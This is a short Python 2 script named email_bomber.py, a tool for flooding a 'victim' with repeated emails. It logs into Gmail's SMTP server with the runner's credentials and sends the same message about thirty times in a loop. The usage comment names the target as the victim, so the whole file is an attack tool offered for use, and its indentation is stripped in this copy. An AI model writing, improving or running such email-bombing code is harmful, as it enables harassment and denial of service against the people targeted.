import time
# importing modules -ope
import sys
import smtplib
import threading
import os

# How to use: python email_bomber.py <your_email> <your email password> <victims email>

def SendEmail(fromaddr, password, toaddr, msg):
count = 0
while 1:
try:
smtp_server = smtplib.SMTP('smtp.gmail.com', 587)
smtp_server.starttls()
smtp_server.login(fromaddr, password)
smtp_server.set_debuglevel(True)
smtp_server.sendmail(fromaddr, toaddr, msg)
smtp_server.quit()

time.sleep(1)
count += 1

if (count > 30):
os.system("cls")
sys.exit("done")

except IOError:
pass

except smtplib.SMTPAuthenticationError:
print("Your Login Cridentials are invalid!")

except smtplib.SMTPConnectError:
print("A connection could not be made.")

except smtplib.SMTPRecipientsRefused:
print("Recipient Refused your email!")

fromaddr = sys.argv[1]
password = sys.argv[2]
toaddr = sys.argv[3]

msg = raw_input("Message: ")

d = threading.Thread(target=SendEmail, args=(fromaddr, password, toaddr, msg)).start()
# [email protected]